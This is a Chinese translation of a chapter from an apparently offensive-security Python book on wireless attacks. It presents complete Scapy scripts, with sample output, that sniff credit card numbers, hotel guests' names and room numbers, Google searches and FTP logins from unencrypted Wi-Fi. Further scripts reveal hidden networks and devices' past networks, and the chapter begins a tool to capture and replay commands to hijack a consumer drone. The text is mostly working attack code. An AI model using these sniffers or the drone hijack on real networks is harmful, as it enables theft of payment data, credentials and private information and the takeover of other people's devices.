1. **：无线攻击**

本章内容：

1. **嗅探无线网络的私人信息**
2. **监听请求网络和识别隐藏的无线网络**
3. **控制无线无人机**
4. **确认Firesheep的使用**
5. **潜入蓝牙设备**
6. **渗透利用蓝牙漏洞**

知识的增长并不是和树一样，种植一棵树，你只要把它放进地里，盖上点土，定期为他浇水就行。知识的增长却伴随着时间，工作和长期的努力。除此之外，不能用任何手段获得知识。   
                             
                                                                   —美国拳击顶级大师，Ed Parker

**简介：无线安全和冰人**

2007年5月，美国特勤局逮捕了一名无线黑客Max Ray Butler，也被成为冰人。Mr. Butler通过一个网站销售了成千上万的信用卡账户信息。但是他是怎样收集这些私人信息的？嗅探未加密的无线网络连接被证明是他获取信用卡账户信息的方法之一。它使用假身份租用酒店房间和公寓，然后使用大功率的天线拦截酒店和附近公寓的无线接入点的通讯，以捕捉客人的私人信息。很多时候，媒体专家分类这种攻击为“精细的和复杂的”。这样的描述是危险的，因为我们可以用短的Python脚本来执行这种攻击。正如下面章节您将看到的，我们可以用不到25行代码嗅探信用卡账户信息，但是在开始之前，我们应确保我们的环境设置正确。

**设置你的无线攻击环境**

在下面的章节中，我们将编写代码嗅探无线网络流量并发送802.11数据帧。我们将使用一个增益Hi-Gain USB无线网络适配器和网络放大器来创建和测试本章脚本。在BackTrack5中的默认网卡驱动允许用户进入混杂模式并发送原始数据帧。此外，它还包含一个外部天线连接，能够让我们附加大功率天线。

**用Scapy测试捕获无线网络**

将无线网卡设置到混杂模式，我们使用aircrack-ng工具套件，使用iwconfig命令列出我们的无线网络适配器。接下来，我们运行命令airmon-ng start wlan0开启混杂模式。这将创建一个新的mon0适配器。

**attacker# iwconfig wlan0**

**wlan0 IEEE 802.11bgn ESSID:off/any**

**Mode:Managed Access Point: Not-Associated**

**Retry long limit:7 RTS thr:off Fragment thr:off**

**Encryption key:off**

**Power Management:on**

**attacker# airmon-ng start wlan0**

**Interface Chipset Driver**

**wlan0 Ralink RT2870/3070 rt2800usb - [phy0]**

**(monitor mode enabled on mon0)**

让我们快速测试，我们可以捕获无线网络流量在将网卡设置为混杂模式之后。注意，我们设置新创建的监控接口mon0到我们的conf.iface。监听到每个数据包，脚本将运行ptkPrint()函数。如果数据包包含802.11标识，802.11响应，TCP数据包或DNS流量程序将打印一个消息。

**from scapy.all import \*  
  
def pktPrint(pkt):  
 if pkt.haslayer(Dot11Beacon):  
 print('[+] Detected 802.11 Beacon Frame')  
 elif pkt.haslayer(Dot11ProbeReq):  
 print('[+] Detected 802.11 Probe Request Frame')  
 elif pkt.haslayer(TCP):  
 print('[+] Detected a TCP Packet')  
 elif pkt.haslayer(DNS):  
 print('[+] Detected a DNS Packet')  
conf.iface = 'mon0'  
sniff(prn=pktPrint)**

运行脚本后，我们可以看到一些流量。发现的流量包括802.11寻找网络的探测请求，802.11指示帧流量，和DNS，TCP数据包。从这一点上我们看到我们的网卡工作了。

**安装Python的蓝牙包**

在本章我们将覆盖一些蓝牙攻击。为了编写Python的蓝牙脚本，我们将利用Python绑定到LInux Bluez的应用程序接口和obexftp API。使用apt-get install来安装。

**attacker# sudo apt-get install python-bluez bluetooth python-obexftp**

**Reading package lists... Done**

**Building dependency tree**

**Reading state information... Done**

**<..SNIPPED..>**

**Unpacking bluetooth (from .../bluetooth\_4.60-0ubuntu8\_all.deb)**

**Selecting previously deselected package python-bluez.**

**Unpacking python-bluez (from .../python-bluez\_0.18-1\_amd64.deb)**

**Setting up bluetooth (4.60-0ubuntu8) ...**

**Setting up python-bluez (0.18-1) ...**

**Processing triggers for python-central .**

此外，我们必须获取一个蓝牙设备。最新的Cambridge Silicon Radio (CSR)芯片组在LInux下工作的很好。本章节中的脚本，我们将使用SENA Parani UD100 USB蓝牙适配器，为了测试操作系统是否识别该设备，运行hciconfig配置命令，这将打印出蓝牙设备的详细信息。

**attacker# hciconfig**

**hci0: Type: BR/EDR Bus: USB**

**BD Address: 00:40:12:01:01:00 ACL MTU: 8192:128**

**UP RUNNING PSCAN**

**RX bytes:801 acl:0 sco:0 events:32 errors:0**

**TX bytes:400 acl:0 sco:0 commands:32 errors:0**

在本章中，我们将伪造和截取蓝牙帧。我会在后面的章节中在此提到，但是知道BackTrack5 r1中有一个小错误，它缺乏一个重要的内核模块发送原始的蓝牙数据包，因为这个原因，你必须升级你的系统或内核到BackTrack5 r2。

下面的章节将很精彩。我们将嗅探应用卡信息，用户证书，远程操纵无人机，辨认无线黑客，追踪并渗透蓝牙设备。请经常检查有关监听无线网络和蓝牙的法律信息。

**绵羊墙---被动的监听无线网络的秘密**

自从2011年，绵羊墙已经成为了DEFCON安全会议的一部分了。被动的，团队监听用户登陆的邮件，网站或者其他的网络服务，而没有任何的保护和加密。当团队检测到任何的凭证，他们将把凭证显示道会议楼的大屏幕上。近年来团队增加了一个项目叫Peekaboo，显示出无线通讯流量的图像。尽管是善意的，团队很好的演示了黑客是怎样捕获到相同的信息的。在下面的章节中，我们将创建几个攻击从空气中偷有趣的信息。

**使用Python的正则表达式嗅探信用卡**

在嗅探无线网络的信用卡信息之前，快速的回顾正则表达式是很有用的。正则表达式提供了匹配特定文本中的字符串的方法。Python提供了关于正则表达式的模块(re)。(正则表达式具体规则略)

攻击者可以使用正则表达式来匹配信用卡号码。为了简化我们的脚本，我们将使用三大信用卡：Visa, MasterCard, 和American Express。如果你想了解更多的关于编写信用卡的正则表达式的知识，可以访问包含其他厂商的占则表达式的网站：http://www.regular-expressions.info/creditcard.html。美国运通信用卡以34或者37开头共15位数字。让我们编写一个小函数检查字符串确认它是否包含美国运通信用卡号。如果包含，我们将打印该信息在屏幕上，注意下面的正则表达式，它确保信用卡必须以3开头，后面跟随着4或者7，接下来正则表达式匹配13位数字确保共15位长。

**import re**

**def findCreditCard(raw):**

**americaRE= re.findall("3[47][0-9]{13}", raw)**

**if americaRE:**

**print("[+] Found American Express Card: "+americaRE[0])**

**def main():**

**tests = []**

**tests.append('I would like to buy 1337 copies of that dvd')**

**tests.append('Bill my card: 378282246310005 for \$2600')**

**for test in tests:**

**findCreditCard(test)**

**if \_\_name\_\_ == "\_\_main\_\_":**

**main()**

运行我们的测试程序，我们看到它正确的找到了信用卡号码。

**attacher$ python americanExpressTest.py**

**[+] Found American Express Card: 378282246310005**

现在，探究正则表达式必须找到MasterCards和Visa的信用卡号。MasterCards的信用卡号以51或者55开头共16位数。Visa的信用卡号以4开头，并且13位或者16位数字。让我们扩展我们的函数找到MasterCard和Visa信用卡号。注意，MasterCard信用卡号正则表达式匹配5后面跟着1或者5接着14位共16位。Visa正则表达式以4开头后面跟着12更多的数，我们将在接受0或者3位数来确保13位或者16位数。

**def findCreditCard(pkt):**

**raw = pkt.sprintf('%Raw.load%')**

**americaRE = re.findall('3[47][0-9]{13}', raw)**

**masterRE = re.findall('5[1-5][0-9]{14}', raw)**

**visaRE = re.findall('4[0-9]{12}(?:[0-9]{3})?', raw)**

**if americaRE:**

**print('[+] Found American Express Card: ' + americaRE[0])**

**if masterRE:**

**print('[+] Found MasterCard Card: ' + masterRE[0])**

**if visaRE:**

**print('[+] Found Visa Card: ' + visaRE[0])**

现在我们必须从嗅探到的无线数据包中匹配正则表达式。请记住我们使用混杂模式嗅探的目的，因为它允许我们观察不管是不是给我们的数据包。为了解析我们截获的无线数据包，我们使用Scapy库。注意，我们使用sniff()函数，sniff()函数将每一个经过的数据包作为参数传给findCreditCard()函数。不到25行的Python代码，我们创建了一个偷取信用卡信息的小程序。

# coding=UTF-8  
**import** re  
**import** optparse  
**from** scapy.all **import** \*  
  
**def findCreditCard**(pkt):  
 raw = pkt.sprintf('%Raw.load%')  
 americaRE = re.findall('3[47][0-9]{13}', raw)  
 masterRE = re.findall('5[1-5][0-9]{14}', raw)  
 visaRE = re.findall('4[0-9]{12}(?:[0-9]{3})?', raw)  
 **if** americaRE:  
 **print**('[+] Found American Express Card: ' + americaRE[0])  
 **if** masterRE:  
 **print**('[+] Found MasterCard Card: ' + masterRE[0])  
 **if** visaRE:  
 **print**('[+] Found Visa Card: ' + visaRE[0])  
  
**def main**():  
 parser = optparse.OptionParser('usage % prog -i<interface>')  
 parser.add\_option('-i', dest='interface', type='string', help='specify interface to listen on')  
 (options, args) = parser.parse\_args()  
 **if** options.interface == None:  
 **print** parser.usage  
 exit(0)  
 **else**:  
 conf.iface = options.interface  
 **try**:  
 **print**('[\*] Starting Credit Card Sniffer.')  
 sniff(filter='tcp', prn=findCreditCard, store=0)  
 **except** KeyboardInterrupt:  
 exit(0)  
**if** \_\_name\_\_ == '\_\_main\_\_':  
 main()

显然，我们不打算盗取任何人的信用卡数据。事实上，这个攻击的无线黑客小偷被关了20年。但是希望你意识到这种攻击相对比较交单没有一般人为的那么复杂。在下一节中，我们将演示一个单独的情景，我们将攻击一个未加密的无线网络并盗取私人信息。

**嗅探旅馆客人**

大多数旅馆提供公开的无线网络。通常这些网络没有加密也缺乏任何企业忍着或者加密控制。本节将验证，及行Python代码就能渗透利用这个情况，导致灾难性的公共信息泄露。

最近，我呆在一家提供无线连接的旅馆当客人。当连接到无线网络之后，我的浏览器指向一个网页要求登陆这个网络。网络凭证包含我的姓名和房间号，提供此信息后，我的浏览器发布了一个未加密的HTTP页面返回到服务器接受认证cookie。检查这个初始的HTTP提交，显示了一些有趣的东西。我注意到一个字符串PROVIDED\_LAST\_NAME=OCONNOR&PROVIDED\_ROOM\_NUMBER=1337。

明文传输到旅馆服务器的包含我的姓名和房间号码。服务器没有试图保护这些信息，我的浏览器简单的发送这些透明的信息。对于这个特殊的酒店，客户的姓名和房间号被用来点餐，按摩服务甚至是购买礼品，所以你可以想到酒店的客户不想黑客得到他们的私人信息。

**POST /common\_ip\_cgi/hn\_seachange.cgi HTTP/1.1**

**Host: 10.10.13.37**

**User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10\_7\_1)**

**AppleWebKit/534.48.3 (KHTML, like Gecko) Version/5.1 Safari/534.48.3**

**Content-Length: 128**

**Accept: text/html,application/xhtml+xml,application/**

**xml;q=0.9,\*/\*;q=0.8**

**Origin:http://10.10.10.1**

**DNT: 1**

**Referer:http://10.10.10.1/common\_ip\_cgi/hn\_seachange.cgi**

**Content-Type: application/x-www-form-urlencoded**

**Accept-Language: en-us**

**Accept-Encoding: gzip, deflate**

**Connection: keep-alive**

**SESSION\_ID= deadbeef123456789abcdef1234567890 &RETURN\_**

**MODE=4&VALIDATION\_FLAG=1&PROVIDED\_LAST\_NAME=OCONNOR&PROVIDED\_ROOM\_**

**NUMBER=1337**

我们现在可以使用Python从酒店用户哪里捕获信息。开始是一个很简单的Python嗅探器。首先，我们将确认我们捕获流量的接口，接着，我们用sniff()函数嗅探监听流量，注意这个函数过滤，只监听TCP流量数据包，我们将函数命令为findGuest()。

**conf.iface = "mon0"**

**try:**

**print "[\*] Starting Hotel Guest Sniffer."**

**sniff(filter="tcp", prn=findGuest, store=0)**

**except KeyboardInterrupt:**

**exit(0)**

当findGuest函数接收到数据包，它将确认拦截的数据包是否包含任何私人信息。首先它复制原始数据到变量raw中，然后我们建立一个正则表达式来解析姓名和客人的房间号码。注意我们的正则表达式接受任何以LAST\_NAME开始的字符串，和一个终止符号&。正则表达式为了酒店号码捕获任何以ROOM\_NUMBER开头的字符串。

**def findGuest(pkt):**

**raw = pkt.sprintf("%Raw.load%")**

**name=re.findall("(?i)LAST\_NAME=(.\*)&",raw)**

**room=re.findall("(?i)ROOM\_NUMBER=(.\*)'",raw)**

**if name:**

**print("[+] Found Hotel Guest "+str(name[0]) + ", Room #" + str(room[0]))**

将所有的放在一起，我们现在有一个无线网络嗅探器捕获任何连接到这个酒店无线网络上的客户的姓名和房间号。请注意，为了有嗅探流量和分析数据包的能力，我们需要导入Scapy库。

# coding=UTF-8  
**import** optparse  
**from** scapy.all **import** \*  
  
**def findGuest**(pkt):  
 raw = pkt.sprintf("%Raw.load%")  
 name=re.findall("(?i)LAST\_NAME=(.\*)&",raw)  
 room=re.findall("(?i)ROOM\_NUMBER=(.\*)'",raw)  
 **if** name:  
 **print**("[+] Found Hotel Guest "+str(name[0]) + ", Room #" + str(room[0]))  
  
**def main**():  
 parser = optparse.OptionParser('usage %prog -i<interface>')  
 parser.add\_option('-i', dest='interface', type='string', help='specify interface to listen on')  
 (options, args) = parser.parse\_args()  
 **if** options.interface == None:  
 **print**(parser.usage)  
 exit(0)  
 **else**:  
 conf.iface = options.interface  
 **try**:  
 **print**('[\*] Starting Hotel Guest Sniffer.')  
 sniff(filter='tcp', prn=findGuest, store=0)  
 **except** KeyboardInterrupt:  
 exit(0)  
**if** \_\_name\_\_ == '\_\_main\_\_':  
 main()

运行我们的酒店嗅探程序，我们可以看到黑客是怎样确认酒店住了那些人的。

**attacker# python hotelSniff.py -i wlan0**

**[\*] Starting Hotel Guest Sniffer.**

**[+] Found Hotel Guest MOORE, Room #1337**

**[+] Found Hotel Guest VASKOVICH, Room #1984**

**[+] Found Hotel Guest BAGGETT, Room #43434343**

我应该有足够的强调，收集个人信息已经违反了一些州，国家的法律。在下一节，我们将进一步扩大我们嗅探无线网络的能力，通过解析Google搜索。

**构建Google无线搜索记录器**

你可能注意到Google搜索引擎提供接近即时的反馈，当你在搜索框中输入时。取决于你连接网络的速度，你的浏览器会发送一个HTTP GET请求几乎在你每输入一个字符到搜索框中时。检查下面到Google的HTTP GET请求，当我搜索字符串“what is the meaning of life?”时，请注意，搜索以q=我的字符串开始，然后以&结束pq=跟着以前的搜索。

**GET**

**/s?hl=en&cp=27&gs\_id=58&xhr=t&q=what%20is%20the%20meaning%20of%20life&pq=the+number+42&<..SNIPPED..> HTTP/1.1**

**Host: www.google.com**

**User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10\_7\_2)**

**AppleWebKit/534.51.22 (KHTML, like Gecko) Version/5.1.1**

**Safari/534.51.22**

**<..SNIPPED..>**

**q= Query, what was typed in the search box**

**pq= Previous query, the query prior to the current search**

**hl= Language, default en[glish] defaults, but try xx-hacker for fun**

**as\_epq= Exact phrase**

**as\_filetype= File format, restrict to a specific file type such as .zip**

**as\_sitesearch= Restrict to a specific site such as www.2600.com**

有了Google搜索引擎的知识在手，让我们快速构建一个无线数据包嗅探器，实时打印我们拦截到的他们搜索的东西。这一次我们将使用函数findGoogle()处理嗅探的数据包。这里我们将复制数据包的内容数据到payload变量，如果这个payload包含HTTP GET我们就能构建一个正则表达式找到当前Google的搜索字符串。最后我们将清除结果字符串，HTTP URL不能包含任何空格字符。为了避免这个问题，我们的浏览器将编码空格为+或者%20，在URL中。为了正确的转换这些信息，我们必须解码任何+或者%20为空格。

**def findGoogle(pkt):**

**if pkt.haslayer(Raw):**

**payload = pkt.getlayer(Raw).load**

**if 'GET' in payload:**

**if 'google' in payload:**

**r = re.findall(r'(?i)\&q=(.\*?)\&', payload)**

**if r:**

**search = r[0].split('&')[0]**

**search = search.replace('q=', '').replace('+', ' ').replace('%20', ' ')**

**print('[+] Searched For: ' + search)**

将我们整个Google嗅探器的脚本放在一起，我们现在可以看到他们搜索过的Google内容。请注意，我们现在可以使用sniff()函数过滤只要TCP 80端口的流量。虽然Google提供发送在443端口HTTPS的流量的能力，捕获这个流量事没有用的，因为是加密的。因此我们只捕获80端口的HTTP流量。

# coding=UTF-8  
**import** optparse  
**from** scapy.all **import** \*  
  
**def findGoogle**(pkt):  
 **if** pkt.haslayer(Raw):  
 payload = pkt.getlayer(Raw).load  
 **if** 'GET' **in** payload:  
 **if** 'google' **in** payload:  
 r = re.findall(r'(?i)\&q=(.\*?)\&', payload)  
 **if** r:  
 search = r[0].split('&')[0]  
 search = search.replace('q=', '').replace('+', ' ').replace('%20', ' ')  
 **print**('[+] Searched For: ' + search)  
  
**def main**():  
 parser = optparse.OptionParser('usage %prog -i <interface>')  
 parser.add\_option('-i', dest='interface', type='string', help='specify interface to listen on')  
 (options, args) = parser.parse\_args()  
 **if** options.interface == None:  
 **print** parser.usage  
 exit(0)  
 **else**:  
 **try**:  
 conf.iface = options.interface  
 **print**('[\*] Starting Google Sniffer.')  
 sniff(filter='tcp port 80', prn=findGoogle)  
 **except** KeyboardInterrupt:  
 exit(0)  
  
**if** \_\_name\_\_ == '\_\_main\_\_':  
 main()

在使用未加密的网络连接中运行我们的脚本，我们可以看到别人的搜索内容。拦截Google流量可能有点令人为难，下一节，拦截用户的凭据的手段更加能证明一个组织的安全局势。

**attacker# python googleSniff.py -i mon0**

**[\*] Starting Google Sniffer.**

**[+] W**

**[+] What**

**[+] What is**

**[+] What is the mean**

**[+] What is the meaning of life?**

**Google URL搜索参数**

Google URL搜索参数提供了许多有价值的

额外信息，这些信息对建立你的Google搜索记录器很有用。解析出的查询，先前查询，语言，特定的短语搜索文本类型或者受限制的站点都可以添加到我们的记录器。更多信息请到：http://www.google.com/cse/docs/resultsxml.html

**嗅探FTP认证**

FTP协议缺乏任何的加密算法来保护用户认证。黑客能轻松的拦截这些任何当受害者在这种为加密的网络。看下面的tcpdump显示我们拦截的用户凭证。FTP协议通过明文交换凭证。

**attacker# tcpdump -A -i mon0 'tcp port 21'**

**E..(..@.@.q...\_...........R.=.|.P.9.....**

**20:54:58.388129 IP 192.168.95.128.42653 > 192.168.211.1.ftp:**

**Flags [P.], seq 1:17, ack 63, win 14600, length 16**

**E..8..@.@.q...\_...........R.=.|.P.9.....USER root**

**20:54:58.388933 IP 192.168.95.128.42653 > 192.168.211.1.ftp:**

**Flags [.], ack 112, win 14600, length 0**

**E..(..@.@.q...\_...........R.=.|.P.9.....**

**20:55:00.732327 IP 192.168.95.128.42653 > 192.168.211.1.ftp:**

**Flags [P.], seq 17:33, ack 112, win 14600, length 16**

**E..8..@.@.q...\_...........R.=.|.P.9.....PASS secret**

为了拦截这些凭证，我们寻找两个特殊的字符串。第一个字符串包含USER接着就是用户名，第二个字符串是PASS接着就是密码。我们在tcpdump的数据中看到这些凭证。我们将设计两个正则表达式来捕获这些信息。我们也将从数据包中剥离IP地址。不知道服务器的IP地址用户名和密码是毫无价值的。

**from scapy.all import \***

**def ftpSniff(pkt):**

**dest = pkt.getlayer(IP).dst**

**raw = pkt.sprintf('%Raw.load%')**

**user = re.findall('(?i)USER (.\*)', raw)**

**pswd = re.findall('(?i)PASS (.\*)', raw)**

**if user:**

**print('[\*] Detected FTP Login to ' + str(dest))**

**print('[+] User account: ' + str(user[0]))**

**elif pswd:**

**print('[+] Password: ' + str(pswd[0]))**

将所有的脚本放在一起，我们只嗅探21端口的TCP流量。我们还添加一些选项来选择嗅探器使用的网络适配器。运行这个脚本允许我们拦截FTP登陆凭证。

# coding=UTF-8  
**import** optparse  
**from** scapy.all **import** \*  
  
**def ftpSniff**(pkt):  
 dest = pkt.getlayer(IP).dst  
 raw = pkt.sprintf('%Raw.load%')  
 user = re.findall('(?i)USER (.\*)', raw)  
 pswd = re.findall('(?i)PASS (.\*)', raw)  
 **if** user:  
 **print**('[\*] Detected FTP Login to ' + str(dest))  
 **print**('[+] User account: ' + str(user[0]))  
 **elif** pswd:  
 **print**('[+] Password: ' + str(pswd[0]))  
  
**def** main():  
 parser = optparse.OptionParser('usage %prog -i<interface>')  
 parser.add\_option('-i', dest='interface', type='string', help='specify interface to listen on')  
 (options, args) = parser.parse\_args()  
 **if** options.interface == None:  
 **print** parser.usage  
 exit(0)  
 **else**:  
 conf.iface = options.interface  
 **try**:  
 sniff(filter='tcp port 21', prn=ftpSniff)  
 **except** KeyboardInterrupt:  
 exit(0)  
**if** \_\_name\_\_ == '\_\_main\_\_':  
 main()

运行我们的脚本，我们检测到一个登陆的FTP服务器，并显示用户的凭证和登陆的服务器。我们现在有一个少于30行Python代码的FTP凭证嗅探器。当用户的证书可以为我们提供对网络的访问，在下一节中，我们将使用无线监听探测用户的历史记录。

**attacker:∼# python ftp-sniff.py -i mon0**

**[\*] Detected FTP Login to 192.168.211.1**

**[+] User account: root\r\n**

**[+] Password: secret\r\n**

**你的笔记本去过哪？Python解答**

几年前我教了一个无无线安全的课程，为了让学生听讲我关闭了房间里的无线网络，也是为了防止他们攻击任何的受害者。我以无线网络扫描的演示作为课程的开始，发现了一些有趣的东西，在房间里探测到几个客户端试图连接的首选网络。一个特别的学生刚从洛杉矶回来，他的电脑探测到LAX\_Wireless和Hooters\_WiFi，我开了一个玩笑，问学生在Hooters Restaurant的停留是否满意。他很惊讶，我怎么知道这些信息？

**监听802.11探测请求**

为了提供一个无缝的连接，你的电脑和手机经常保持一个首选的网络列表，其中包括你先前成功连接过的无线网络名称。当你的电脑开机或者网络断开后，你的电脑经常发送802.11探测请求搜索列表中的每一个网络名称。

让我们快速的编写一个检测802.11网络请求的工具。在这个例子中，我们称呼我们处理数据包的函数为sniffProbe()。注意，我们将整理出802.11探测请求通过检测数据包是否haslayer(Dot11ProbeReq)。如果请求包含新的网络名称我们将打印他们在屏幕上。

**from scapy.all import \***

**interface = 'mon0'**

**probeReqs = []**

**def sniffProbe(p):**

**if p.haslayer(Dot11ProbeReq):**

**netName = p.getlayer(Dot11ProbeReq).info**

**if netName not in probeReqs:**

**probeReqs.append(netName)**

**print('[+] Detected New Probe Request: ' + netName)**

**sniff(iface=interface, prn=sniffProbe)**

现在我们可以运行我们的脚本看看来自附近电脑或者手机的探测请求。这允许我们看到客户机的首选网络列表。

**attacker:∼# python sniffProbes.py**

**[+] Detected New Probe Request: LAX\_Wireless**

**[+] Detected New Probe Request: Hooters\_WiFi**

**[+] Detected New Probe Request: Phase\_2\_Consulting**

**[+] Detected New Probe Request: McDougall\_Pizza**

**找到隐藏的802.11网络标识**

虽然大多数网络公开他们的网络名称(SSID)，一些无线网络还是使用隐藏的SSID防止他们的网络名称别发现。802.11标识帧中的字段通常包含网络名称。在隐藏的网络中，接入点的这个字段为空白，检测一个隐藏的网络时相当容易的。但是我们只能搜索到空白字段的802.11标识帧。在下面的例子中，我们将寻找这些帧并打印出这些接入点的MAC地址。

**def sniffDot11(p):**

**if p.haslayer(Dot11Beacon):**

**if p.getlayer(Dot11Beacon).info == '':**

**addr2 = p.getlayer(Dot11).addr2**

**if addr2 not in hiddenNets:**

**print('[-] Detected Hidden SSID: with MAC:' + addr2)**

**没有隐藏的802.11网络**

当接入点离开断开隐藏的网络，它将发送名称在探测响应中。一个探测响应通常发生在客户端发送的探测请求。为了发现隐藏的名字，我们必须等待一个探测响应匹配我们802.11标识帧中的MAC地址。我们将两个小的数组加到我们的Python脚本一起使用。首先，hiddenNets，跟踪我们看到的隐藏网络的MAC地址。第二，unhiddenNets，追踪已经公开的网络，当检测到一个空名称的802.11标识帧时，我们将他家到我们的隐藏网络数组。当我们检测到802.11探测响应时，我们将抽取网络名称。我们可以检查hiddenNets数组看看是否包含这些值，确保unhiddenNets不包含这些值。如果情况属实，我们可以解析网络名称并打印在屏幕上。

# coding=UTF-8  
**import** sys  
**from** scapy.all **import** \*  
  
interface = 'mon0'  
hiddenNets = []  
unhiddenNets = []  
  
**def sniffDot11**(p):  
 **if** p.haslayer(Dot11ProbeResp):  
 addr2 = p.getlayer(Dot11).addr2  
 **if** (addr2 **in** hiddenNets) & (addr2 **not in** unhiddenNets):  
 netName = p.getlayer(Dot11ProbeResp).info  
 **print** '[+] Decloaked Hidden SSID: ' + netName + ' for MAC: ' + addr2  
 unhiddenNets.append(addr2)  
 **if** p.haslayer(Dot11Beacon):  
 **if** p.getlayer(Dot11Beacon).info == '':  
 addr2 = p.getlayer(Dot11).addr2  
 **if** addr2 **not in** hiddenNets:  
 **print** '[-] Detected Hidden SSID: ' + 'with MAC:' + addr2  
 hiddenNets.append(addr2)  
sniff(iface=interface, prn=sniffDot11)

运行我们的脚本，它正确的识别了一些隐藏的网络和公开的网络，不到30行代码，他令人兴奋了！在下一节中，我们将转换积极的无线攻击，换就话说就是伪造数据包接管无人机。

**attacker:∼# python sniffHidden.py**

**[-] Detected Hidden SSID with MAC: 00:DE:AD:BE:EF:01**

**[+] Decloaked Hidden SSID: Secret-Net for MAC: 00:DE:AD:BE:EF:01**

**用Python拦截和监视无人机**

在2009年的夏天，美军在伊拉克注意到一些有趣的事。当美军收集叛乱者的笔记本时，美军发现他们的电脑上有美军的无人机视频。笔记本显示美军的无人机被叛乱者劫持了数百个小时。经过进一步的调查，情报人员发现叛乱者使用价值26美元的软件SkyGrabber拦截了无人机。更令他们惊讶的是，空军的无人机程序发送到地面控制中心的视频没有加密。SkyGrabber软件通常用来拦截未加密的卫星电视数据。甚至不需要任何配置就可以拦截美军无人机视频。

攻击美军的无人机违反了美国的爱国者法案，所以让我们找一些不违法的目标攻击。Parrot Ar.Drone的无人机是一个良好的目标，一个开源的基于Linux的无人机，它允许iPhone/Ipad应用程序通过未加密的WIFI控制无人机。价格300美元，一个业余爱好者可以从http://ardrone.parrot.com/购买无人机。用我们已经知道的工具，我们可以控制我们的目标无人机。

**拦截流量，检测协议**

让我们先了解无人机和iPhone如何通讯。将无线适配器设置到混杂模式，我们要学习无人机和iPhone之间如何通过WIFI网络建立连接。阅读无人机知道之后，我们知道MAC过滤是唯一保护连接的安全机制。只有配对的iPhone才能对无人机发送指令。为了接管无人机，我们需要学习指令的协议，然后重新发送这些指令。

首先，我们将我们的无线适配器设置为混杂模式监听流量，一个快速的tcpdump显示流量来自无人机和iPhone的UDP 5555端口。快速分析后，我们可以推测这流量包含了无人机视频下载，因为有大量的数据朝同一方向。相反，导航命令似乎从直接从iPhone的UDP 5556端口发送。

**attacker# airmon-ng start wlan0**

**Interface Chipset Driver**

**wlan0 Ralink RT2870/3070 rt2800usb - [phy0]**

**(monitor mode enabled on mon0)**

**attacker# tcpdump-nn-i mon0**

**16:03:38.812521 54.0 Mb/s 2437 MHz 11g -59dB signal antenna 1 [bit 14]**

**IP 192.168.1.2.5556 > 192.168.1.1.5556: UDP, length 106**

**16:03:38.839881 54.0 Mb/s 2437 MHz 11g -57dB signal antenna 1 [bit 14]**

**IP 192.168.1.2.5556 > 192.168.1.1.5556: UDP, length 64**

**16:03:38.840414 54.0 Mb/s 2437 MHz 11g -53dB signal antenna 1 [bit 14]**

**IP 192.168.1.1.5555 > 192.168.1.2.5555: UDP, length 25824**

知道iPhone通过UDP 5556端口发送指令控制无人机，我们建立一个小的Python脚本来解析导航命令。请注意，我们的脚本打印原始的UDP 5556的导航数据。

**from scapy.all import \***

**NAVPORT = 5556**

**def printPkt(pkt):**

**if pkt.haslayer(UDP) and pkt.getlayer(UDP).dport == NAVPORT:**

**raw = pkt.sprintf('%Raw.load%')**

**print raw**

**conf.iface = 'mon0'**

**sniff(prn=printPkt)**

运行这个脚本给我们看看无人机的指令协议。我们看到协议使用的语法是：AT\*CMD\*=SEQUENCE\_NUMBER,VALUE,[VALUE{3}]。记录很长时间的流量，我们学会了三个简单的指令，这将会被我们的攻击所利用。命令AT\*REF=$SEQ,

290717696\r是发送无人家降落的命令。其次，命令AT\*REF=$SEQ,290717952\r发送一个紧急降落的命令，立即切断引擎。命令AT\*REF=SEQ, 290718208\r发送给无人机一个起飞指令。最后，我们可以用命令AT\*PCMD=SEQ, Left\_Right\_Tilt, Front\_Back\_Tilt, Vertical\_Speed,Angular\_Speed\r来控制无人机。我们现在知道足够的指令来攻击无人机了。

**attacker# python uav-sniff.py**

**'AT\*REF=11543,290718208\r'**

**'AT\*PCMD=11542,1,-1364309249,988654145,1065353216,0\r'**

**'AT\*REF=11543,290718208\r'**

**'AT\*PCMD=11544,1,-1358634437,993342234,1065353216,0\rAT\*PCMD=11545,1**

**1355121202,998132864,1065353216,0\r'**

**'AT\*REF=11546,290718208\r'**

**<..SNIPPED..>**

我们开始创建一个Python类interceptThread，这个类用于储存我们攻击的字段。这些字段包含在刚才截获的数据包里，具体的无人机序列号，和最后一个描述无人机流量是否被截获的布尔值。初始化这些字段后，我们将创建两个函数run()和interceptPkt()，run()函数开始嗅探过滤的5556 UDP流量，并触发interceptPkt()函数，当拦截到无人机流量，布尔值变为真，接下来，它将从当前记录的无人机控制流量中玻璃序列号。

**class interceptThread(threading.Thread):**

**def \_\_init\_\_(self):**

**threading.Thread.\_\_init\_\_(self)**

**self.curPkt = None**

**self.seq = 0**

**self.foundUAV = False**

**def run(self):**

**sniff(prn=self.interceptPkt, filter='udp port 5556')**

**def interceptPkt(self, pkt):**

**if self.foundUAV == False:**

**print('[\*] UAV Found.')**

**self.foundUAV = True**

**self.curPkt = pkt**

**raw = pkt.sprintf('%Raw.load%')**

**try:**

**self.seq = int(raw.split(',')[0].split('=')[-1]) + 5**

**except:**

**self.seq = 0**

**用Scapy制作802.11数据帧**

接下来，我们要制作一个包含无人机指令的新的数据包。然而，为了做到这一点，我们需要共当前的数据帧中复制一些必要的信息。因为数据包包含RadioTap, 802.11, SNAP, LLC, IP, and UDP层，我们需要从各个层中复制字段。Scapy对每一层都有很好的支持，例如，看看Dot11层，我们开始Scapy然后执行ls(Dot11)命令，我们会看到我们需要复制到我们伪造的数据包中的字段。

**attacker# scapy**

**Welcome to Scapy (2.1.0)**

**>>>ls(Dot11)**

**subtype : BitField = (0)**

**type : BitEnumField = (0)**

**proto : BitField = (0)**

**FCfield : FlagsField = (0)**

**ID : ShortField = (0)**

**addr1 : MACField = ('00:00:00:00:00:00')**

**addr2 : Dot11Addr2MACField = ('00:00:00:00:00:00')**

**addr3 : Dot11Addr3MACField = ('00:00:00:00:00:00')**

**SC : Dot11SCField = (0)**

**addr4 : Dot11Addr4MACField = ('00:00:00:00:00:00')**

